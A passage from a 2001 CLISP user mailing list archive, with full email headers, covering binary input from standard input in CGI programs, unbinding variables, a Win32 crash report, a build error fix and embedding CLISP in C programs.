List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Nov 8 23:01:03 2001 X-Original-Date: 08 Nov 2001 23:00:46 -0800 I am working on a CGI program using CLISP to handle file uploads. A form completed by the client includes:
and The client sends a multipart/form-data to the clisp-upload program, where the data is delivered by way of standard input: boundaries, headers, payload and all. Since the payload is binary, I need to read it as binary. According to impnotes that accompanies clisp-2.27 (under "Line Terminators", in the "Extensionts-1.4. Encodings" section): The line terminator mode is relevant only for output (writing to a file/pipe/socket). During input, all three kinds of line terminators are recognized. If you do not want this, i.e., if you really want to distinguish LF, CR and CR/LF, you have to resort to binary input (function READ-BYTE). I _do_ need to distinguish, since such line terminator squashing isn't reversible in arbitrary binary data. Instead of the function read-byte, I am trying to use the function read-byte-sequence instead (which I assume is equivalent under the circumstances), but am having the following difficulty: I can't seem to call it on *standard-input*. I am getting the message: *** - READ-BYTE on # is illegal If I try to setf the stream-element-type to '(unsigned-byte 8), as suggested in the "Streams Dictionary" section ("Together with (SETF STREAM-ELEMENT-TYPE), this function permits mixed character/binary input from a stream."), I get: *** - (SETF STREAM-ELEMENT-TYPE) on # is illegal Er, so how do I get what I want? Thanks in advance! -- Russell Senior ``The two chiefs turned to each other. seniorr@aracnet.com Bellison uncorked a flood of horrible profanity, which, translated meant, `This is extremely unusual.' '' From samuel.steingold@verizon.net Fri Nov 09 06:28:44 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 162CeA-0002jo-00 for ; Fri, 09 Nov 2001 06:28:42 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA03142; Fri, 9 Nov 2001 09:28:39 -0500 (EST) X-Envelope-To: To: Russell Senior Cc: Subject: Re: [clisp-list] stream trouble References: <861yj8o2ch.fsf@coulee.tdb.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <861yj8o2ch.fsf@coulee.tdb.com> Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Nov 9 06:29:06 2001 X-Original-Date: 09 Nov 2001 09:27:18 -0500 > * In message <861yj8o2ch.fsf@coulee.tdb.com> > * On the subject of "[clisp-list] stream trouble" > * Sent on 08 Nov 2001 23:00:46 -0800 > * Honorable Russell Senior writes: > > *** - READ-BYTE on # is illegal yep. > *** - (SETF STREAM-ELEMENT-TYPE) on # is illegal yep. how come you are reading from a terminal stream? don't use terminal streams. CLISP can open internet sockets - read from them, change their STREAM-ELEMENT-TYPE &c. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! non-smoking section in a restaurant == non-peeing section in a swimming pool From seniorr@aracnet.com Fri Nov 09 11:20:17 2001 Received: from bonneville.tdb.com ([216.99.214.10] helo=coulee.tdb.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 162HCL-0002RG-00 for ; Fri, 09 Nov 2001 11:20:17 -0800 Received: (qmail 12160 invoked by uid 1001); 9 Nov 2001 19:20:13 -0000 To: Subject: Re: [clisp-list] stream trouble References: <861yj8o2ch.fsf@coulee.tdb.com> From: Russell Senior In-Reply-To: Message-ID: <86n11vlpjm.fsf@coulee.tdb.com> Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Nov 9 11:21:01 2001 X-Original-Date: 09 Nov 2001 11:20:13 -0800 >>>>> "Sam" == Sam Steingold writes: >> * In message <861yj8o2ch.fsf@coulee.tdb.com> * On the subject of >> "[clisp-list] stream trouble" * Sent on 08 Nov 2001 23:00:46 -0800 >> * Honorable Russell Senior writes: >> >> *** - READ-BYTE on # is illegal Sam> yep. >> *** - (SETF STREAM-ELEMENT-TYPE) on # is >> illegal Sam> yep. No doubt. Sam> how come you are reading from a terminal stream? don't use Sam> terminal streams. I am reading from *standard-input*, as in: (ext:read-byte-sequence buffer *standard-input* :end buffer-size) since that is where Apache (in this case) puts the data. Is it possible to accomodate this behavior and, if so, how do people typically do it? I have reviewed the mailing list traffic going back to roughly June 1996 and haven't found the question addressed. Thanks. -- Russell Senior ``The two chiefs turned to each other. seniorr@aracnet.com Bellison uncorked a flood of horrible profanity, which, translated meant, `This is extremely unusual.' '' From samuel.steingold@verizon.net Fri Nov 09 13:11:07 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 162Iva-00033m-00 for ; Fri, 09 Nov 2001 13:11:06 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA22135; Fri, 9 Nov 2001 16:11:04 -0500 (EST) X-Envelope-To: To: Russell Senior Cc: Subject: Re: [clisp-list] stream trouble References: <861yj8o2ch.fsf@coulee.tdb.com> <86n11vlpjm.fsf@coulee.tdb.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <86n11vlpjm.fsf@coulee.tdb.com> Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Nov 9 13:12:01 2001 X-Original-Date: 09 Nov 2001 16:09:22 -0500 > * In message <86n11vlpjm.fsf@coulee.tdb.com> > * On the subject of "Re: [clisp-list] stream trouble" > * Sent on 09 Nov 2001 11:20:13 -0800 > * Honorable Russell Senior writes: > > >>>>> "Sam" == Sam Steingold writes: > >> *** - READ-BYTE on # is illegal > Sam> yep. > >> *** - (SETF STREAM-ELEMENT-TYPE) on # is illegal > Sam> yep. > No doubt. > > Sam> how come you are reading from a terminal stream? don't use > Sam> terminal streams. > > I am reading from *standard-input*, as in: > > (ext:read-byte-sequence buffer *standard-input* :end buffer-size) > > since that is where Apache (in this case) puts the data. Is it > possible to accomodate this behavior and, if so, how do people > typically do it? I have reviewed the mailing list traffic going back > to roughly June 1996 and haven't found the question addressed. try this: (let ((true-input (two-way-stream-input-stream (symbol-value (synonym-stream-symbol *standard-input*))))) (setf (stream-element-type true-input) '(unsigned-byte 8)) (read-byte-sequence buffer true-input)) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Bus error -- driver executed. From lin8080@freenet.de Fri Nov 09 23:53:58 2001 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 162Sxg-0001t9-00 for ; Fri, 09 Nov 2001 23:53:56 -0800 Received: from [194.97.50.135] (helo=mx2.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #3) id 162Sxb-0006gq-00 for clisp-list@lists.sourceforge.net; Sat, 10 Nov 2001 08:53:51 +0100 Received: from b7592.pppool.de ([213.7.117.146] helo=freenet.de) by mx2.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #3) id 162Sxa-0001oh-00 for clisp-list@lists.sourceforge.net; Sat, 10 Nov 2001 08:53:50 +0100 Message-ID: <3BECBE1F.7F32B2CA@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: [clisp-list] setq - un-setq References: <861yj8o2ch.fsf@coulee.tdb.com> <86n11vlpjm.fsf@coulee.tdb.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Nov 9 23:54:01 2001 X-Original-Date: Sat, 10 Nov 2001 06:41:51 +0100 Hallo [1] I am new in this list and my english is not good [2] Because I am new in lisp, I do not read all documents (but 3 books and what I can find online) [3] I run the release 2.27 (2001-07-17) of GNU CLISP [4] I work private on a kind of neural network for experiments [5] The ()-structure is modular, each () has up to 3kb stored in a separate file and load on demand. [6] The question(s) : [7] When I do (load "modul-03.lisp"), I could find no way to unload this module. My thought is to free up all variables for other modules. This way I will be able to use the same variable names in different modules. So, is there a way, to make the load-process unhapened ? (function unload - undefined function it says). What is a usual way in this case ? [8] An other problem is (say it simply) a way like a command (bound-variable-xyz) and (unbound-variable-xyz). I found setq and setf, but no unsetq, unsetf. Only the possibility like a new (setq variable 0) is known, but I wish that the variable is not known by the system after use. If there are commands in this direction, please let me know, so I can read somewhere about this. (there are some comments in the news-group comp.lang.lisp under: On the implementation of lexical variables..) [9] For example, I have hugh lists filled with numbers (the modules), all in the same structure, for example modul-18: (47 53 29) (n 17 38 42) (36 28 51) (s 23 58 29) ... 20.000 more (these are star-positions taken from a catalog) So I want to ask, whether in clisp is a possibility to make something like a car and a cdr of "modul-18.lisp"- the file (like load-read(that is: bind a variable)-unload). At the moment I load the whole modul-18 (there are 6 other modules like this) and make cons-pairs like (...).(...), and then I get the runtime problem, finding the position of 8732 inside this module, to work with 8731 and 8733. This needs to much time. Alternatively I thought about big 2-dimensional arrays, but witch is the better way to handle positions in this case ? (the aim is a short runtime) For testing, I write "modul-18" in the editor, typing position-numbers, to find easy one position again, this looks like (12456 ((47 53 29) (n 17 38 42))) but doing so, I get errors from the other modules (lambdas they want). Seems like I have to rewrite these modules, but this is much work and will take some time. [10] The ready programm should give me the position of a star in 6 different coordinate systems, so I typed in one position and get back 5 equivalent coordinate places. And because it is neuronal, there is that experimental test, whether the programm can learn to transform the positions. [11] last words: Please, I do not expect complete solutions. Only some tips or comments should be helpful, because working with lisp is so magnificent and funny. I see myself confronted with an ocean and swimming does so good ... stefan From harley@panix.com Sat Nov 10 09:22:30 2001 Received: from mail2.panix.com ([166.84.0.213]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 162bpt-0007BC-00 for ; Sat, 10 Nov 2001 09:22:29 -0800 Received: from panix1.panix.com (panix1.panix.com [166.84.1.1]) by mail2.panix.com (Postfix) with ESMTP id 332408ED8; Sat, 10 Nov 2001 12:22:28 -0500 (EST) Received: from localhost (localhost [[UNIX: localhost]]) by panix1.panix.com (8.11.3nb1/8.8.8/PanixN1.0) with ESMTP id fAAHMSV21495; Sat, 10 Nov 2001 12:22:28 -0500 (EST) X-Authentication-Warning: panix1.panix.com: harley owned process doing -bs From: Harley Gorrell To: lin8080 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] setq - un-setq In-Reply-To: <3BECBE1F.7F32B2CA@freenet.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Nov 10 09:23:01 2001 X-Original-Date: Sat, 10 Nov 2001 12:22:28 -0500 (EST) On Sat, 10 Nov 2001, lin8080 wrote: > Hallo Guten Tag Stefan! Mein Deutsch is nicht als gut als seine English. I cant answer all your questions but I can answer some. > When I do (load "modul-03.lisp"), I could find no way to > unload this module. Lisp is a garbage collected language. When something is not referenced anymore, the GC will reclaim it. So generally dont dont need up "unload". ;; define the var to be special (defvar *bigarr* nil) ;; bigarr now uses lots of space (setf *bigarr* (make-array 10000)) *BIGARR* ;; now *bigarr* has no reference to the array, it will be collected (setf *bigarr* nil) > My thought is to free up all variables for other modules. This > way I will be able to use the same variable names in different modules. Write function that sets all the vars you care about to some know value. (like nil) > An other problem is (say it simply) a way like a command > (bound-variable-xyz) and (unbound-variable-xyz). (makunbound '*bigarr*) http://www.xanalys.com/software_tools/reference/HyperSpec/ > So I want to ask, whether in clisp is a possibility to make something > like a car and a cdr of "modul-18.lisp"- the file (like load-read(that > is: bind a variable)-unload). Read the file into a var and walk across it. (defun read-file (fname) ;; :eof should be an uninterened symbol (let ((fval :eof)) (with-open-file (fstream fname) (loop do (setf fval (read fstream nil :eof)) until (eq fval :eof) collect fval)))) hope this helps, harley. From dm@bomberlan.net Sat Nov 10 09:58:02 2001 Received: from bomberlan.net ([64.81.59.47] helo=ork-intranet.bomberlan.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 162cOH-00038z-00 for ; Sat, 10 Nov 2001 09:58:02 -0800 Received: from dm by ork-intranet.bomberlan.net with local (Exim 3.32 #1 (Debian)) id 162cOE-0000Yn-00; Sat, 10 Nov 2001 09:57:58 -0800 To: lin8080 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] setq - un-setq Message-ID: <20011110095758.B2101@bomberlan.net> References: <861yj8o2ch.fsf@coulee.tdb.com> <86n11vlpjm.fsf@coulee.tdb.com> <3BECBE1F.7F32B2CA@freenet.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3BECBE1F.7F32B2CA@freenet.de> User-Agent: Mutt/1.3.20i From: David Morse Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Nov 10 09:59:02 2001 X-Original-Date: Sat, 10 Nov 2001 09:57:58 -0800 lin8080 wrote: > Hallo > > [1] I am new in this list and my english is not good > [2] Because I am new in lisp, I do not read all documents > (but 3 books and what I can find online) > [3] I run the release 2.27 (2001-07-17) of GNU CLISP > [4] I work private on a kind of neural network for experiments > [5] The ()-structure is modular, each () has up to 3kb stored in a > separate file and load on demand. > [6] The question(s) : > > [7] > When I do (load "modul-03.lisp"), I could find no way to unload this > module. My thought is to free up all variables for other modules. This > way I will be able to use the same variable names in different modules. > So, is there a way, to make the load-process unhapened ? (function > unload - undefined function it says). What is a usual way in this case ? You're right, its hard. Look at "unintern" and "delete-package" though. > [8] > An other problem is (say it simply) a way like a command > (bound-variable-xyz) and (unbound-variable-xyz). I found setq and setf, > but no unsetq, unsetf. "makunbound". ("fmakunbound" for functions.) From dave@synergy.org Sat Nov 10 10:05:04 2001 Received: from 64-42-7-146.atgi.net ([64.42.7.146] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 162cV6-0003dZ-00 for ; Sat, 10 Nov 2001 10:05:04 -0800 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.2966); Sat, 10 Nov 2001 10:04:58 -0800 From: "Dave Richards" To: "clisp-list" Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-OriginalArrivalTime: 10 Nov 2001 18:04:58.0288 (UTC) FILETIME=[3583F300:01C16A12] Subject: [clisp-list] Garbage collector problem in 2.27 (Win32)? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Nov 10 10:06:01 2001 X-Original-Date: Sat, 10 Nov 2001 10:04:58 -0800 I am using the CLISP 2.27 Win32 binary from clisp.cons.org on a Windows 2000 SP2 machine. I got the following error today: A Windows dialog informed me that an unrecoverable error occurred, and I received the following message from CLISP. [14]> *** - handle_fault error2 ! address = 0x1A55A000 not in [0x1A450000,0x1A5239D4) ! SIGSEGV cannot be cured. Fault address = 0x1A55A000. Is this a known problem? From samuel.steingold@verizon.net Sat Nov 10 11:37:02 2001 Received: from smtp008pub.verizon.net ([206.46.170.187]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 162dw5-0003lV-00 for ; Sat, 10 Nov 2001 11:37:01 -0800 Received: from xchange.com (pool-151-203-227-76.bos.east.verizon.net [151.203.227.76]) by smtp008pub.verizon.net with ESMTP ; id fAAJaqD06867 Sat, 10 Nov 2001 13:36:54 -0600 (CST) To: "Dave Richards" Cc: "clisp-list" Subject: Re: [clisp-list] Garbage collector problem in 2.27 (Win32)? References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Nov 10 11:38:02 2001 X-Original-Date: 10 Nov 2001 14:36:25 -0500 > * In message > * On the subject of "[clisp-list] Garbage collector problem in 2.27 (Win32)?" > * Sent on Sat, 10 Nov 2001 10:04:58 -0800 > * Honorable "Dave Richards" writes: > > I am using the CLISP 2.27 Win32 binary from clisp.cons.org on a > Windows 2000 SP2 machine. I got the following error today: > > A Windows dialog informed me that an unrecoverable error occurred, and > I received the following message from CLISP. > > [14]> > *** - handle_fault error2 ! address = 0x1A55A000 not in > [0x1A450000,0x1A5239D4) > ! > SIGSEGV cannot be cured. Fault address = 0x1A55A000. > > Is this a known problem? no. if you can send us a reproducible test case, we might be able to fix this problem. thanks. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! A man paints with his brains and not with his hands. From andrew@thesoftwaresmith.com.au Sun Nov 11 15:26:14 2001 Received: from thesof1.lnk.telstra.net ([139.130.119.126] helo=grover) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1633zR-0000XV-00 for ; Sun, 11 Nov 2001 15:26:13 -0800 Received: from andrew by grover with local (Exim 3.32 #1 (Debian)) id 1633zM-0001Hd-00; Mon, 12 Nov 2001 10:26:08 +1100 To: clisp-list@lists.sourceforge.net Message-ID: <20011112102608.A4920@thesoftwaresmith.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.23i From: andrew@thesoftwaresmith.com.au Subject: [clisp-list] compile error in pathname.d Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 11 15:27:01 2001 X-Original-Date: Mon, 12 Nov 2001 10:26:08 +1100 Hi All, I have been attempting to build the latest clisp CVS and encountered the following error in src/pathname.d: touch pathname.d make --- test -d bindings || mkdir bindings ./comment5 pathname.d | ./ansidecl | ./varbrace > pathname.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c pathname.c In file included from pathname.d:6: lispbibl.d:7025: warning: register used for two global register variables pathname.d: In function `parse_logical_word': pathname.d:1528: warning: `ch' might be used uninitialized in this function pathname.d: In function `C_cd': pathname.d:9639: warning: implicit declaration of function `pslashp' gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o i18n.o foreign.o unixaux.o ari80386.o modules.o libsigsegv.a libintl.a libiconv.a libreadline.a libavcall.a libcallback.a -lncurses -ldl -o lisp.run pathname.o: In function `C_cd': pathname.o(.text+0x7d7e): undefined reference to `pslashp' collect2: ld returned 1 exit status make: *** [lisp.run] Error 1 --- Note that I ran configure without any options enabled. Disabling line 2680 of pathname.d allows clisp to build correctly on my system (Debian "Woody" Linux; gcc 2:2.95.4-8): -#undef pslashp +# undef pslashp No doubt there is a more correct and subtle solution than this. :-) Cheers, Andrew Smith From bruce253@163.net Sun Nov 11 17:48:13 2001 Received: from [211.101.185.136] (helo=fltrp.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1636Cr-0003Be-00 for ; Sun, 11 Nov 2001 17:48:13 -0800 Received: from 163.net [211.101.185.130] by fltrp.com with ESMTP (SMTPD32-7.00 EVAL) id A9DEC80148; Mon, 12 Nov 2001 09:46:06 +0800 Message-ID: <3BEF298E.5060305@163.net> From: Bruce User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011023 X-Accept-Language: en, zh-cn MIME-Version: 1.0 To: clisp-list Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] clisp patch for garnet 3.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 11 17:49:01 2001 X-Original-Date: Mon, 12 Nov 2001 09:44:46 +0800 Hi, I'm trying to play with Garnet 3.0 on clisp 2.27. There seems to be some problems. I remember there was a patch at the clisp.cons.org . Since clisp.cons.org has been down for quite some time and I'm not able to connect to clisp.sourceforge.net from China, can anybody point to me a url with the latest clisp patch for garnet 3.0 or send me the patch to me directly? TIA! From mzuerche@iastate.edu Sun Nov 11 20:44:33 2001 Received: from mailhub-1.iastate.edu ([129.186.140.3]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1638xV-0002d4-00 for ; Sun, 11 Nov 2001 20:44:33 -0800 Received: from zuercher ([64.113.89.65]) by mailhub-1.iastate.edu (8.9.3/8.9.3) with SMTP id WAA05086 for ; Sun, 11 Nov 2001 22:44:31 -0600 Message-ID: <001f01c16b34$b7631540$41597140@zuercher> From: "Michael Zuercher" To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_001C_01C16B02.6C903020" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Subject: [clisp-list] stripping down clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 11 20:45:01 2001 X-Original-Date: Sun, 11 Nov 2001 22:44:29 -0600 This is a multi-part message in MIME format. ------=_NextPart_000_001C_01C16B02.6C903020 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have a bunch of lisp source files that contain functions that I need = to access from a C program. However, due to memory limitations, I am = not able to run a full lisp interpreter. My current plan is to strip = down Clisp to only the code needed to load a .mem file. =20 Question #1: Is there a clean way to strip Clisp down in this fashion? = I want to get rid of the whole UI and the .fas interpreter. Next, I will embed the stripped down version of Clisp in my C program. = I will have the FFI stuff in the .mem file so I can call the functions = that I need whenever it is loaded. Question #2: Does this sound possible? Since memory is VERY tight, I would like to make a .mem file with only = the things I need. I won't need many of the original functions since I = will not be feeding it anything except a .mem file with everything = embedded. =20 Question #3: Is there a way to remove functions from the original = "lispinit.mem" before dumping a new one? Now for the really ugly part. I don't think that I can get the full = version of Clisp running on my target platform. It is my understanding = that this is necessary if I am going to create .mem file in the first = place, since they are very non-portable. Question #4: Is there a way to target a foreign platform when doing a = memdump? If not, what is the smallest chunk of Clisp that I could do = the dump with? Thanks in advance for any help you have to offer. Michael Zuercher ------=_NextPart_000_001C_01C16B02.6C903020 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I have a bunch of lisp source files = that contain=20 functions that I need to access from a C program.  = However, due=20 to memory limitations, I am not able to run a full lisp = interpreter.  My=20 current plan is to strip down Clisp to only the code needed to load a = .mem=20 file. 
 
Question #1:  Is there a clean way = to strip=20 Clisp down in this fashion?  I want to get rid of the whole UI and=20         the .fas interpreter.
 
 
Next, I will embed the stripped down = version of=20 Clisp in my C program.  I will have the FFI stuff in the .mem file = so I can=20 call the functions that I need whenever it is loaded.
 
Question #2:  Does this sound=20 possible?
 
 
Since memory is VERY tight, I would = like to make a=20 .mem file with only the things I need.  I won't need many of the = original=20 functions since I will not be feeding it anything except a .mem file = with=20 everything embedded. 
 
Question #3: Is there a way to remove = functions=20 from the original "lispinit.mem" before dumping a new one?
 
 
Now for the really ugly part.  I = don't think=20 that I can get the full version of Clisp running on my target = platform.  It=20 is my understanding that this is necessary if I am going to create .mem = file in=20 the first place, since they are very non-portable.
 
Question #4: Is there a way to target a = foreign=20 platform when doing a memdump?  If not, what is the smallest chunk = of Clisp=20 that I could do the dump with?
 
 
Thanks in advance for any help you = have to=20 offer.
Michael = Zuercher
------=_NextPart_000_001C_01C16B02.6C903020-- From erik@aarg.net Sun Nov 11 22:07:42 2001 Received: from www.aarg.net ([206.101.74.70] helo=marco.aarg.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 163AFx-0006hb-00 for ; Sun, 11 Nov 2001 22:07:41 -0800 Received: from monkey.x.aarg.net.aarg.net (IDENT:erik@063-151-108-111.pc.ashlandfiber.net [63.151.108.111]) (authenticated) by marco.aarg.net (8.11.6/8.11.6) with ESMTP id fAC67cC28609; Sun, 11 Nov 2001 22:07:39 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15343.26410.836258.958631@monkey.x.aarg.net> To: "Michael Zuercher" Cc: Subject: Re: [clisp-list] stripping down clisp In-Reply-To: <001f01c16b34$b7631540$41597140@zuercher> References: <001f01c16b34$b7631540$41597140@zuercher> X-Mailer: VM 6.95 under 21.4 (patch 4) "Artificial Intelligence" XEmacs Lucid From: Erik Arneson Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 11 22:08:02 2001 X-Original-Date: Sun, 11 Nov 2001 22:07:38 -0800 On 11 Nov 01, Michael Zuercher wrote: > I have a bunch of lisp source files that contain functions that I > need to access from a C program. However, due to memory > limitations, I am not able to run a full lisp interpreter. My > current plan is to strip down Clisp to only the code needed to load > a .mem file. Michael, For something like this, you might be better off going with a small Scheme implementation (perhaps Guile?), or a CL implementation that's made to be embedded in other programs, like ECLS. -- > Erik Arneson MM, Ashland Lodge No. 23 < > GPG Key ID: 1024D/43AD6AB8 RAM, Siskiyou Chapter No. 21 < > < From samuel.steingold@verizon.net Mon Nov 12 08:09:40 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 163JeT-0002iL-00 for ; Mon, 12 Nov 2001 08:09:37 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA09149; Mon, 12 Nov 2001 11:09:33 -0500 (EST) X-Envelope-To: To: andrew@thesoftwaresmith.com.au Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] compile error in pathname.d References: <20011112102608.A4920@thesoftwaresmith.com.au> Reply-To: 